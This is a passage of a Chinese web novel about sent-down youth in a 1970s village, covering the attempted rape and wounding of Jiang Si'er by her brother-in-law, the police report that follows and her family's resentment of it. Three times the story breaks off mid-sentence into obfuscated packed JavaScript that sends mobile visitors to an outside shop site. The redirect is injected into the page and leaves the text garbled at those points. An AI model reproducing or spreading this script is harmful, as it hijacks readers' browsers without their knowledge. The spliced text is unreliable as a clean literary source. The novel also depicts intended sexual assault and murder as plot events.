他记得他当年的理想不是娶一个乡下姑娘,不是在这乡下住着木头房子。 他是个知识分子,他读书时成绩好,他应该在工厂当管理者,娶一个城里姑娘,住着几层楼高的筒子楼。 想到如今离自己的理想越来越遥远,方感勇苦闷地捂着脸叹息。 旁边劈柴的老知青拍了拍他的肩,“怎么,又在想回城的事情?既然这么想回城,当初又为什么娶姜家女儿?你这可不厚道啊。” 方感勇想起这事还憋屈呢,“我以为姜老三是个文化人,娶了她才知道她是个满嘴喷粪的泼妇。” “哈哈哈哈~~” 其他男知青笑了起来,揶揄道:“还别说,姜老三看着清秀可人,没想到脾气那么暴躁,骂起父母来那叫一个文采斐然,啥话都骂得出口。” 几个小子议论纷纷,有些同情方感勇。 方感勇是他们这一批里面最有文化的,娶了那么个出口成脏的女人,难怪心里憋屈郁郁寡欢。 “人呐,总是得到了就不珍惜,”老知青摇头,“当初你追求人家姜老三时,情诗一首首送给她。现在结婚了就开始挑三拣四,又想着回城了。回城的日子也不是你想象中的那么好过,城里要真的有那么多资源给咱们,当年也不会让大家上山下乡了。” 城里那些知青办的工作人员,这几年为了给返城知青安排工作,一个个也都是想尽了办法,把返城知青往各个犄角旮旯里塞。 甭管香的臭的,只要是个工作就把人塞过去。 挑粪的、搓脚的、洗头的...........能给你安排到这些工作都不错了。 相比较而言,现在在乡下干活虽然清贫,但也自在。 只能说各有各的辛苦。 一想到那些前辈的下场,有些个知青还真觉得不如留在公社,“主任说了,我要是不惦记着回城,就让我在公社当会计。我在学校数学成绩好,公社愿意培养我记账管账。” 方感勇沉默着没吭声,他觉得乡下再好也比不过城里,一般城市又比不过首都,首都比不过国外。如果有回城的机会,他一定要回去。到时候,他就把姜老三给甩了。 下午,姜老三过来喊方感勇回家。 独属于小两口的新房已经建成,俩人今天就入住新屋。 说是新房,就一个小木屋而已,方感勇憋屈得很,看不上。 下午姜家人要在新房做饭庆祝,姜家人都来齐了,姜大妞的丈夫以及公婆也都提着礼物过来贺喜姜老三夫妇今天正式入住新屋。 客人都来齐了,方感勇这个主人反倒是甩脸子躲着去了外面不肯和大家一起聚餐。 他心思重,自大又自卑,知道自己这个女婿各方面都比不过姜家大女婿,所以干脆躲了出去。 既吃软饭又甩脸子,方感勇这个人让姜家人开了眼。 “找男人绝不能找这种。”姜二丫小声在四妹耳边吐槽。 姜四儿专心低头干饭,不想掺和这种事。 被蛐蛐的方感勇在生产队的小路上走着散步,时而蹲在小路边思考未来的人生。 等到天色彻底黑了,方感勇估摸着客人都走光了,这才哼着小曲儿回家。 新屋是两室,一个住的房间,另一间既是厨房也是堂屋杂货间。 方感勇隔老远就闻到酒味儿,进房间一看,喝醉酒的媳妇儿已经盖着被子躺在了床上。 厨房里聚餐的圆桌上,摆放着已经空了的一个装酒的白色塑料桶。 看来这群人今天喝了酒,方感勇撇撇嘴,嫌弃地踢了一脚那白色塑料桶。 突然,他灵光一闪。 已知 1:今天为了庆祝入住新房,姜家人喝了酒。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17586568|205296||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >2:四妹独自一人住在小路里面的小砖房。 月色正浓,方感勇咽了咽口水,比喝醉酒的姜家人还燥热。 想到那乖巧又容貌出众的四妹,方感勇鬼头鬼脑地四处看,此时已经晚上七点多,乡间小路上空无一人。 要不要试一试?方感勇抹脸沉思,这可是难得的好机会。 他精心整理了头发和衣服,然后咬牙踏出了小木屋。 来到几十米外的姜家老屋,方感勇从老屋后头走过去,透过漏风的缝隙往老屋里瞧,里面此起彼伏的鼾声。 很好,看来姜家人是真的醉倒一片。 继续往小路深处走,来到砖房。 踮起脚尖慢慢推开小砖房的玻璃窗户,方感勇确定里面只有姜四儿一人,趁着月色只能看到侧躺着的姜四儿肤如凝脂的脖颈和小片肩膀。 姜家几个女儿各个都美若天仙,单看分不出胜负。但站在一起,姜四儿就是绝对的第一,一眼看过去最脱俗的那一个。 ‘怎么能有这么好看的人。’方感勇在心里一万次感叹。 摸去从不锁门的厨房,方感勇在厨房一个暗格抽屉里找到了房间钥匙,姜家人都这么放备用钥匙。 他拿着摸到的钥匙打开房间门。 门开的一瞬间,姜四儿猛地从床上爬起来。 背着光她看不清闯入者的脸。 “你怎么没醉!” 闯入者的惊呼声让她认出来者何人。 方感勇觉得自己太倒霉,错算了。没想到这么个庆祝乔迁之喜的日子,其他姜家人都喝醉了,唯独姜四儿没喝酒。 可如今已经被识破,只能破釜沉舟。 先*后杀,这是他想到的最佳解决方案。 对不住了,四妹。方感勇想明白了没有后路可退,反而放松下来,顺便锁上门,断绝这个小姨子的一丝生机。 然后,方感勇极具压迫感地猛地朝美人儿扑过去,他要趁对方大喊求救之前把人的嘴给捂住。 “哐当”一声响。 声音让吓懵的姜四儿反应过来,她抽出床底的锯子。 方感勇突然停下,思考着那锯子能否伤到自己。 就在他犹豫不决的几秒内,姜四儿扔下了轻便的容易被夺走的锯子,又飞快从床底抽出一把重重的砍刀。 还是这玩意儿拿在手里更放心,掂了掂重量,姜四儿有了些底气。 看到这些工具,方感勇下意识后退两步。 他知道老丈人是木匠,但不知道姜四儿床底下放了这些木匠的工具来防身。 他正不知道该如何是好时,对面手拿锋利大砍刀的小姨子已经率先开始尖叫了起来。 尖叫声响彻整个大队,持续了一分多钟,在寂静的夜晚很是瘆人。 还醒着且离得最近的是守鱼塘的一个知青,他拿着锄头赶来踹开姜四儿的后门时,地下躺着受伤的姜四儿,而方感勇已经伤人后逃走。 32. 第 32 章 公社卫生院。 姜四儿躺在病床上养伤,姜大妞婆婆一边带小孙儿一边照顾她。 在医院躺了两天后,程月梨和大刘推着一辆板车过来接姜四儿回家。 骨折的右腿被固定得死死的,姜四儿就这样仰躺在板车上。 程月梨也贪玩地坐上板车,留大刘一个人推她俩回生产队。 “月梨,三姐夫被抓到了吗?”姜四儿问。 “抓到了,咱们民兵连的指导员揪到的,真厉害。” 这语气,话里的崇拜之意掩饰不住。 大刘听了吃醋,鼻子里哼气,“前几天下雨,地都是湿的,方感勇走到哪儿脚印就跟在哪儿,怎么可能抓不到他,我都知道怎么抓人。” 姜四儿出事当晚,大队里所有基干民兵出动,知青点的男知青一部分留下来保护女知青,一部分也跟着出去找人。 找人的那么多,却是一晚上都没找到方感勇逃去了哪儿,最后指导员根据方感勇平日里穿的鞋子码数和鞋底样式,于次日中午在另一个公社抓到了方感勇。 很多女同志崇拜指导员,大刘却觉得让他来他也可以。 程月梨白了大刘一眼,“别亢奋了,推车稳着点,四儿姐姐骨折,要小心。” 这次姜四儿受罪不小,明明手里拿了刀,却还是被方感勇给伤到。要不是守鱼塘的知青一分钟左右及时赶到,姜四儿恐怕命都得丢掉。 现在右腿骨折,左手一根手指差点被割断,姜四儿心里恨得很。 “他会坐牢吗?”姜四儿继续打听情况。 “放心吧,跑不掉的,已经报案把他送走了。”程月梨说到这里脸色一变,明显还有别的话说。 都不等姜四儿追问,程月梨愤恨道:“四儿姐姐,你知道吗,大队里一开始还不想报案把他交给县里,方感勇也不承认对你耍流氓,他说是和你吵架了不小心伤到你。” 大队里干部商量后都觉得再给这知青一次机会,甚至村民们也觉得不要再把事情闹大了。 偏偏姜四儿要报案,程月梨也站在姜四儿这边一再强调要报案。 最终大队里干部拗不过,只能把方感勇送去公社临时看管。 今天县里公安就会来人。 “你是不知道大队里那些人,可愚昧无知了,听说今天县公安会来,一个个吓得都躲在了家里,好像犯罪的是他们一样。”程月梨说起八卦来手舞足蹈。 现在大队里的人都对姜四儿议论纷纷,几年前林姗是公社第一个报案县里的,让姜四儿成了公社成立以来第一个坐牢的。 如今姜四儿有样学样,又要把方感勇送进去。 ‘风气啊,就这么被带坏了’乡亲们心里如此想道。 当天中午, 县公安来了人,生产队长亲自迎着人去姜家小砖房的现场取证。 “姜四儿是吧,当天晚上姜家所有人都喝酒了,就连你幺妹姜小芯都喝了几口玩,你怎么一口没喝?”一个公安问。 “公家您好,我几年前就因为喝酒误事坐过牢。从那以后我听到酒这个字都很抵触,所以前天晚上我一滴酒也没沾,这才在房门被打开的同时就清醒了。” “你平时床底下都放着防身的刀?” “公家,那些锯子和刀不是我专门用来防身的,我爸是木匠,平时很多人砍柴都来找他借工具。 有些人借了工具还回来时老老实实放在我爸那屋子,有的人借了工具还回来时懒得多走几步路,经过我这里就顺便放在我这小砖房,我也就顺手把东西放在我床底下收好。” ................ 问话忙完后,姜四儿又由程月梨扶着住在姜家老木屋。 小砖房这里公安还要再侦查侦查。 姜家人今天没有一个人出工,姜木匠用手掌扶着额头,时不时叹气。 春花不在,安慰三女儿去了。 二丫把姜小芯带走去了公社食品站。 “家里就你爸在,谁给你做饭啊。”程月梨小声问姜四儿。 今天也算是开了眼了,明明受害者是姜四儿,但是姜家人都觉得是姜四儿惹了麻烦弄得家里鸡犬不宁。 程月梨越发觉得这里的人不像表哥说得那样纯粹无害。 “喂,你受伤的事要不要告诉我哥?” “不要!” 不是大事,姜四儿能撑住。 “你表哥要是知道了肯定会来照顾我,到时候大队里的人就会知道我和他是一对,我不想让大队里的人知道,他们嘴碎,老是揪着我坐过牢的事情不放。” “你也太自信了,怎么就确定我表哥知道你受伤了会下乡来照顾你?”程月梨第无数次震惊对方的自信,“自从你从S市回来,这么久了,我替你发过去的电报,我表哥可是一封都没回过。” “我之前和他吵架了他肯定不想理我,但是知道我受伤了他会着急的,这是两码事。”姜四儿仰头,乖乖地和对方解释。 不远处,无意偷听的大刘皱眉,他要是有姜四儿的一半自信,早就把程月梨同志追到手了。 摇摇头叹气,大刘走了进去,将自己做的饭带了过来。 两碗饭,上头都堆着白萝卜和猪肉骨头渣。 “给。”大刘将猪肉骨头更多的一碗放在程月梨这边。 “这怎么好意思,我家里有东西吃。”姜四儿和大刘并不熟,没想到这大块头男知青还给自己带了饭。 “我们做的大锅饭,不麻烦,就是多给你盛出一碗的事。你要实在过意不去,等你好了你给我们知青点多送点柴,全公社就你们姜家木柴最多,大家可眼馋了。” “那好,等我这边伤好了,一定给你们送柴。” 午饭就这么被解决了,等到了下午五六点,该做晚饭的时间,家里却异常安静。 姜四儿在房间里坐立不安,家里人是还没下工吗? 她不知道的是,姜木匠和春花两口子都待在姜老三的新木屋,一家三口正围坐在一起边吃边哭。 姜二丫骑着单车从公社下班回家,在路上看到了水沟边上抹眼泪的一家三口。 姜木匠也看到二女儿和小女儿了,挥手喊她们过去吃饭。 “爸,你们怎么在三妹这边下厨了?四妹一个人在老屋?你们有给她送吃的吗?” 隔着水沟,姜木匠听着二女儿的问题沉默着,只是一个劲地叹气。 四女儿惹出这么大的事,丝毫不留情非得报案,把县里公安都招来了。姜木匠两口子怎么想怎么不舒服,他们不想和公安打交道,也很怨四女儿得理不饶人非得把天捅破的倔犟。 俗话说,家丑不外扬啊。 现在好了,三女儿没了丈夫,家里又丢人现眼出了名。 他们不知道该怎么面对四女儿,干脆躲着。 “你先过来吃,让小芯给四儿端饭菜过去。”姜木匠又挥手。 姜二丫拗不过老爸,只好这样。 也没什么好菜,就是一大锅白萝卜,汤味有着白萝卜的清甜,再加了猪油格外香。 “小芯,这碗饭给你四姐姐端过去,给她端完了你再回来吃。” 姜小芯接过小碗,两手一个不稳,一点萝卜撒在鞋上。 小家伙赶紧把饭碗放下,拿桌上的抹布不停地 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17586569|205296||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 在棉鞋上擦拭。 这就是四姐姐在公社给自己买的新鞋,全大队也就姜小芯有这么个塑胶底的棉鞋。 爱美心切的姜小芯嘟囔着嘴,怨大家弄脏了自己的漂亮鞋子。 “晚上我给你把鞋子洗干净总行了吧,一双鞋而已,我也买得起。”二丫吃醋道。 姜小芯苦着脸不开心地跑开。 “你看看她,现在还对你甩脸子了,”春花劝二女儿,“终归不是你亲生的,不记得你的好,你趁早结婚自己生一个。” 二丫沉着张脸,许久点点头,“我现在也发现了,这孩子白眼狼。和她亲妈一样,不知道感恩。” 大姐婆家给介绍了一个县城官二代,长相一般有点胖,她不喜欢。 但,姜二丫现在渐渐地也看明白了,她不可能像大姐一样好命,能嫁个各方面都优秀的刘途。 这次这个对象长相不如大姐夫刘途,但是除了长相其他方面没有短板,而且对方不嫌弃她身上杀猪卖猪的猪腥味,还给她买香膏遮掩味道。 她也决定先试一试,在没遇到更好的之前,吊着现在这个胖子。 总之,还是要生个自己亲生的孩子。 “大姐家这次介绍的对象还行,会主动关心人,还给我买了金耳环。”姜二丫给爸妈看耳垂上的金东西,比夕阳还晃眼。 她这一显摆幸福,老公要坐牢的姜老三更加悲从中来,呜呜哭了出声。 隔着一个水沟的马路上,姜小芯两手捧着碗,朝老屋走去。 等她把晚饭送到才发现四姐姐都已经吃上了。 是程月梨给送的晚饭。 “四儿姐姐,你们家可真有意思,都这个时间点了才给你送饭菜。送的还都是白萝卜,你都骨折了,也不给你弄点肉骨头。”程月梨挑刺。 把一碗饭菜搁在桌上的姜小芯有些不安地看着屋里的四姐姐和程月梨姐姐。 “怎么,不认识我了?”程月梨蹲下摸摸孩子头。 姜小芯不好意思地笑。 小家伙梳着两个小辫子,小脸嘟嘟还有腮腮肉,可爱死了。 “四儿姐,你是不知道,你二姐她嫉妒你小妹之前和我玩得好,就经常管着你小妹不让她和我玩,还吼她,现在我都不好意思和你小妹走得太近,你这二姐心理变态。” 程月梨把姜二丫一通数落。 姜四儿连忙摆手让程月梨别当着孩子的面说这些话。 “嘿嘿,我偏要说,”程月梨捏姜小芯脸蛋儿,“我骂你二姐,你生气吗?” 姜小芯不说话,小手指头抠着木桌上的木刺。 “别说了。”姜四儿心疼孩子被大人之间的争端给波及。 “算了,不说了,”程月梨收敛自己,又对姜小芯强调,“你看你四姐姐多疼你,你要对你四姐姐好一点,你四姐姐自己穿旧鞋给你买新鞋,她比你二姐姐好多了。” 一直默不作声的姜小芯猛地开口,“二姐姐没钱!四姐姐有钱!” “什么?” 姜四儿和程月梨皆是一愣,陡然来这么一句,她们俩都没弄明白这小孩话里的意思。 “四姐姐有钱,二姐姐没那么多钱,二姐姐好。”姜小芯气鼓鼓地说完这句。 虽然这话还是说得不完整,但两个大人都听懂了小娃儿的意思。 ‘虽然四姐姐给自己买了很多好东西,但是四姐姐有钱。 二姐姐没给自己买那么多东西,是因为二姐姐穷,不像四姐姐有那么多钱。 总之,还是二姐姐更好。’ 对于小孩子下这种结论,程月梨是真的惊呆了,姜四儿也是真的很伤心。 33. 第 33 章 从腊月开始,各地的知青陆陆续续都回了城过年。 没啥活干的甚至有元旦就提前回城过年的。 最忙的知青过年前一天也能赶回家。 有些舍不得路费的或者因为各种原因不愿意回城过年的,都留在了生产队,由生产队长安排当地乡亲招待他们这些留守的知青吃年夜饭。 程月梨给家里去了信,会在过年前半个月到家。 程家就这么一个宝贝疙瘩,从程月梨来了信开始,就一直焦急等待着女儿归来。 75年2月4号,小年。 贺明峥离开自己住的地方,去零食厂和厂长夫妇一起过小年吃晚饭。 他一到,厂长媳妇儿就迫不及待把他叫去八卦。 八卦的对象还是程月梨。 “你表妹回来了你知道不?” “不清楚。” “哈哈,我就知道你外婆肯定没和你说你表妹回来的事,没脸说。” “她怎么了?”贺明峥掰橘子的动作没有丝毫停顿,一点也不关心程月梨的事。 “别人家知青回城,都是带着满满当当的东西,你表妹回城,两袖清风,街道那片的人无人不知。”厂长媳妇儿边说边笑着拍大腿。 痛快,太痛快了。 别的知青下乡忙碌一年,回城过年兜里揣着生产队分红的票子,手里提着生产队按照工分派发的粮食和干菜。 程月梨父亲所在的单位上,其他工友同事的孩子下乡回城过年,两手都提着东西,不说给家里减轻多大的负担,但也给家里添了脸面。 唯独程月梨回来过年,两手空空,还倒欠生产队的钱。 程家的脸都丢尽了。 车队大领导听说了程父家里的事,还把程父教育了一顿,指责他没教好女儿。 “倒也不意外,她哪会干什么活。”贺明峥把手里掰好的橘子分婶子一半,又分了厂长一小半,剩下的进了他自己肚子。 吃完,贺明峥拿了一张桌上粉红色的粗劣纸巾,擦拭手指。 厂长媳妇儿还在笑,厂长宠溺地拍拍她的手,“有这么开心吗?” “当然开心,”女人笑着笑着眼泪喷了出来,又哭了,“小峥他妈的事我记一辈子。程家那几个狗东西,看他们吃瘪我就痛快。” 贺明峥的爸妈和厂长夫妻俩交好十几年,彼此之间是最亲的人,那份常年累积的友情比血缘关系更牢固。 提到去世的人,在场三人的心情都很沉重。 公社, 知青们基本上都已经回城过年了,但是生产队的人还在忙着挑堤。 挖土挑土上去,稳固河堤,大冬天冷得手背生疮。 幸好12月收成的棉花上交一部分给棉站后,还剩下一批按工分分给了社员。白花花的新棉花塞到旧棉袄里,能抵御大部分寒冷。 穿着厚厚棉衣的姜四儿在挖土,姜二丫姜老三也在旁边挖土,各自忙活自个儿的事情。 没人看管的小孩儿姜小芯被带来河堤这里玩耍,小孩子懂事,没和其他孩子一样满地打滚地玩,而是帮着家里长辈一起干活。 拿着小铲子挖土的姜小芯虽然帮不了太多忙,但有这份心就够了。 “二丫,你小妹真懂事。”挑担子路过的乡亲总会夸上几句。 二丫笑得合不拢嘴,小妹一整天都围着自己,是个贴心的小棉袄。 没人帮衬独自干活的姜四儿心里很不是滋味。 她坐牢前就是个懒的,坐牢后改变了许多,勤快了不少,但也比不过二姐三姐。 生产队长给划分的0.8立方挖土挑土任务,姜四儿还没完成呢,眼看大家都快要收工了,姜四儿心里着急。 更别说姜小芯那孩子一整天帮二姐拿工具挖点小土,让姜四儿看得吃醋。 ‘臭小孩,也不帮帮自己,真偏心。’姜四儿委屈得撇嘴。 也就是贺明峥不在,要不然她能靠在贺明峥怀里大声哭出来。 下午四点半,河堤上的干部拿着喇叭让大家准备收工。 记工员登记大家今天做工的完成情况,随后组织大家统一一起回生产队。 天气寒冷,这里也危险,早点回去休息,明天继续。 回到自家小砖房,姜四儿烧热水简单洗了个澡,然后把自己紧紧蜷缩在被子里,连晚饭也懒得做。 姜家老屋,春花做好饭菜后用竹制的菜罩子盖住一桌的饭菜,以防几个女儿现在偷吃。 “小芯,去喊你爸回来吃饭。” 姜小芯跑去爸爸常去的大队部,就见今天挑堤的叔叔爷爷们都围在一起抽烟聊天。 “爸,我妈叫你回去吃饭。天冷了,菜也要凉了。”姜小芯叉腰大声喊。 姜木匠起身走来,抱起小女儿往回家的方向走去。 一家五口围着火没烧尽的灶台取暖,边吃着晚饭。 姜二丫犹豫了许久,开口问:“不喊四妹过来吃饭吗?” 家里其他人都没吭声。 自从两个月前姜四儿报案把方感勇送公安,姜家其他人和姜四儿就陷入了诡异的冷战。 姜四儿不主动开口和他们说话,他们也不主动开口和姜四儿说话。 刘途和大姐来调解过,但也没用。 二丫关心四妹,有心缓和气氛,但又害怕四妹抢走小芯,所以对姜四儿的态度也很微妙。 渐渐的双方冷战时间拉长,倒真的有了天大的隔阂,无法自然相处。 小砖房里,姜四儿一觉睡到自然醒,就着月色看手表,已经是凌晨三点半。 从昨晚七点睡到现在,睡饱的姜四儿精神很好,伸了个懒腰在床上滚来滚去滚了几圈,然后摸着柜子上的蜡烛点燃。 坐起身缓了缓,彻底清醒后,姜四儿的胃也开始疼。 但她决定等到早上五点再做饭。 大脑放空的她思绪飘来飘去,慢慢的就飘到了姜小芯身上。 ‘贺明峥是个超级孝顺的人,姜小芯也是个好孩子,一家三口中,就我和长辈关系处不好。’姜四儿叹气。 她有些迷茫。 她以前的愿望就是进城和贺明峥在一起,可是上次进城,自己坐过牢的身份让贺明峥为难了。 现在回家,她又和家里人关系不好。 生活真是一团糟,她捂脸叹气。 S市, 程月梨陷入了和姜四儿一样的窘境,爸妈最近因为她下乡表现不好和她吵了一架,冷战了。 她晚上睡不着,拉开房门打开客厅的灯,自己掰橘子吃。 这点动静发出来的声音吵醒了睡眠浅的奶奶,奶奶披着棉袄出来,给宝贝孙女儿点燃炭火。 “谢谢奶奶,还是你对我好。”程月梨双手双脚蜷缩着靠近炭火盆。 老人家叹了口气,小声问道:“你和我说实话,下乡干啥了,怎么还倒欠生产队的钱。” 她老人家怕孙女儿被乡下野汉子骗钱骗色。 程月梨支支吾吾,她怎么好意思直说,她在生产队大手大脚,经常找队里借粮借钱,干活也不行,力气小。 “奶奶,我已经尽力干活了,你别问了。本来被我爸骂就很烦,你还问问问,烦死了。”程月梨哀嚎。 “你还好意思说,你爸他们车队老孙家的女儿,下乡回来过年带了100块钱回来,那是她们农场年底收成减去成本后给的分红,你一分钱没带回来,还倒欠钱。” “我们生产队本来就穷,和农场能有可比性吗?”程月梨狡辩。 “ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17586570|205296||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 那你表哥呢,他以前也是在你们公社插队下乡,他第一年回城过年时就带了二十斤猪肉和一麻袋的棉花,都是大队按照工分给他的分红,当年你姑姑姑父到处炫耀。人比人,气死人,有你表哥做对比,你爸妈怎么可能不生气。” “那也不能比,我表哥是男人,干活肯定比我有力气。”程月梨仍旧嘴硬。 老人家没话说了,唉声叹气。 “哎呀奶奶,下乡那是改造自己,和贫农交流思想的,你别老是攀比。” “能不比吗?你回来前我还在你表哥面前炫耀说你懂事了,现在这种结果,你表哥还不知道背地里怎么笑话咱们。” “你是他外婆,他笑你干嘛。” “他是我外孙,你是我孙女,我肯定希望你过得比他好,知道吗,”老人家拉着程月梨的手语重心长道,“你是我们程家人,他贺明峥姓贺,是外人,你要争气,要比你表哥强。” “我知道了知道了。”程月梨敷衍道,把手抽了出来。 她手腕上可戴着洋品牌的腕表,大几千块,别被奶奶的手给碰到了。 老人家这才注意到孙女儿手上的表,一圈白色的小钻石亮晶晶的,像天上的小星星。 即使不认识这种表,但也能猜到这表不是普通货。 “哪来的?” “哎呀奶奶你别碰,你手上有炭灰,别弄脏了我的表,”程月梨眼珠子转了转,“你别说出去,别让我表哥知道了,这表是他的东西。” 表哥托自己转交给姜四儿的东西,她自己昧下了。 这腕表太漂亮了,她压根舍不得给姜四儿。潜意识里,她也觉得姜四儿这种农妇不配拥有几千块一只的表。 姜四儿现在手上一百二十块钱买的不锈钢表带的手表,和她才是相配。 “奶奶,姑父真的还活着吗?” “你姑父他肯定还活着,这些东西都是他给你表哥的。” “那姑父现在做什么生意,怎么这么挣钱?” “我怎么知道,你姑父不孝,你表哥也对我不孝,有什么事不会和我说。” 程月梨有些失望,“奶奶,你去打听下嘛,看姑父到底在做些什么,说不定能把我接到香江去。” 乡下贫穷的日子她已经见识过了,就那样,虽然山清水秀生活纯粹,但日子苦。见识过了姑父送来的名牌表和定制的漂亮洋裙,她现在憧憬更豪华有钱的世界。 也就是和表哥关系一般她拉不下脸,要不然她真想直接问表哥关于姑父的下落。 “你姑父能挣什么钱,没有技术就识几个字,去了香江也是打工的命,”老人家竖起大拇指夸,“你爸才是有本事,单位里的优秀司机。” “嘿嘿,我也觉得我爸厉害。不过姑父挣了这么多钱,肯定有门道。” “你爸说香江那边发展好,洗盘子扫地都能挣钱,你姑父搞不好就是给人家洗盘子去了。” “不管怎样你都去打听打听,万一姑父真的发展好了,说不定真能有法子把我接去香江。” “好好好,我以后问你表哥。” 早上七点,程月梨陪奶奶去菜场买黄豆,看见了陪厂长夫妇来买东西的贺明峥。 还不等程月梨上前打招呼,就见一个漂亮的女人含羞带怯地走在贺明峥身侧。 “贺明峥,你也在这儿?好巧。”林姗微微仰着头,自信又骄傲。 城里的工作真的给了她底气,林姗越来越大方自信,不像姜四儿那样乖巧胆怯。 贺明峥见了林姗也是眼前一亮。 整容成功的林姗化了妆,头发卷起,精致美丽。 “你好。”贺明峥朝她点头。 太好了,这神经病整容成功,应该不会嚷着报复社会报复姜家人了。 34. 第 34 章 正月初五生产队复工,程月梨初三就得开始收拾东西出发,所以贺明峥这次过年破天荒地主动和外婆一家吃了年夜饭。 因为贺明峥的突然上门,程月梨手上的腕表没来得及藏好。 看着那截眼熟的深蓝色皮质表带,贺明峥皱起了眉,紧紧凝视着。 他发现了。表妹阳奉阴违,明面上答应了帮忙转交给姜四儿的东西,却私自昧下了。 去年他看到这手表的第一眼就非常欢喜,深蓝色窄窄的皮质表带,绝对衬乖乖儿那白皙漂亮的手腕。 那圈白色细小碎钻,就像乖乖儿的容貌一样耀眼。 所有物品中,贺明峥最满意这手表,看到的第一眼就觉得应该属于他的乖乖儿。 “表……表哥,对不起。”程月梨臊得脸都红了。 从小到大因为她爸是司机,她从不羡慕其他人,她能得到很多别人没有的东西。 所以她从来没有干过这种上不得台面的事。 如今被洋玩意儿迷了眼,第一次干这种事,还被表哥发现,她害臊得很。 贺明峥的视线从手表上移开,抬眼扫视了她一眼。 有事求她帮忙,人在屋檐下不得不低头,贺明峥把怒火压了回去。 他提着东西进了程月梨房间。 房门一关屏蔽客厅其他人的视线,贺明峥打开一袋袋东西,“这些东西你回去生产队的时候帮我给她。” 一个袋子里装着的是本市百货商场买的鞋帽等生活品,还特地放了很多纸巾。 另两个袋子里放的都是些吃的。 “不要说是我给的,你以朋友的名义给她。” “放心,表哥,绝对完成任务。” “你想要什么和我说,以后不要拿她的东西。” “呃........以后不会了。” 程月梨才不会贪眼前这点东西,主要是这几袋东西她爸妈都能买给她,都不是什么稀罕物儿,她才不会拿。 “表哥,我要是当初和你说想要这手表,你会给我吗?” “不会。” 程月梨:“…………” 她叹气一声,打起精神又问,“表哥,姑父现在在香江做什么工作?” “我不知道,他没和我说。” “表哥,你不想去香江吗?我觉得你可以想办法去香江找姑父。” 然后......再顺便捎我过去。 程月梨两眼亮晶晶的看着对方。 “我确实想过这个事情,”贺明峥半靠在身后的桌子,肯定道,“我目前的想法是,等我和她结婚了,再慢慢考虑这个事情。” “那还等什么,你赶紧和姜四儿和好结婚啊,”程月梨鼓足勇气撒娇,“等你们要过去香江的时候,看能不能把我也带上。” 丝毫不意外表妹说这样的话,贺明峥自顾自地说自己的事,“和她结婚的事还没个定数,我和她分手了。” “那你还是喜欢她的对吧?要不然你怎么让我给她带这些东西?还有啊,她其实也喜欢你,你看年前她一直让我给你发电报,你都不回。” “这是俩码事,喜欢不一定要在一起,”贺明峥表情冷漠,“她说分手那就分手,我不挽回。” 程月梨无语,急得翻了个白眼。 初四晚上,程月梨风尘仆仆地回到知青点宿舍。 除了她自己从家里薅的吃食,其他三袋东西都是给姜四儿的。 姜四儿也没有过多推脱,很自然地收下了程月梨给她的东西。 “小程同志为什么对你这么好?你不怀疑吗?”姜大妞有些担心那城里知青另有所图,不可能有人这么大方。 “大姐,月梨肯定很喜欢我这个朋友。”姜四儿语气里有些小骄傲。 她不讨父母喜欢,但是爱人和朋友都对她好,这是一件值得开心的事。 从一个袋子里翻出条红白相间的围巾,姜四儿拿出来围在脖子上,真的感觉身体都温暖了一个度。 姜小芯趴在大姐姐腿上,抬眼看四姐姐的围巾,稚嫩的声音吐出, “好看。” “真的好看吗?”姜四儿不自信。 “四姐姐,真的好看。” 姜大妞抬手摸了摸料子,惊讶地瞪大了眼睛,“好软。” 太软了,肯定不是棉麻的。 姜四儿点头,“一点也不刮脖子,很舒服。” 这种认不出的料子,太稀奇了。 她去找了程月梨。 “月梨,我想把这围巾当成礼物送给师娘,可以吗?” “当然可以。” 程月梨才不在乎,反正不是她送的东西。 不过表哥还真大方,这开司米的围巾可贵了。 难怪姜四儿总是信誓旦旦地说表哥爱她......... 表哥真的遗传了姑姑姑父。 姑姑姑父也是一直以来恩爱得周围人都羡慕,感情好。 不过在她看来,姜四儿远远比不上姑姑。 姑姑是女工人,劳动模范,也不会和姑父吵架闹脾气。 这个姜四儿嘛,老是和表哥闹来闹去的。 而且她也觉得姜四儿太爱慕虚荣,要知道以前整个大队也只有大队长才有一块手表,还是因为工作需求必须买了一块好方便看时间。 而姜四儿虚荣心上来了花120块买手表。 总的来说,她觉得姜四儿不像一个踏实过日子的人。 程月梨唯一佩服的就是姜四儿这张人畜无害的乖巧脸蛋儿,怎么看都看不腻,每次都能被美得心尖儿一颤。 姜四儿并不知道对方看轻自己,拉着程月梨的手晃啊晃,“你帮我给你表哥再发个电报,让他寄两百块钱过来,我要去学车了,以后每次来返县里都得车费,开销大。” 正月十二, 农机一厂那边也早就复工了,姜四儿去找了生产队长,想用钱买工分。 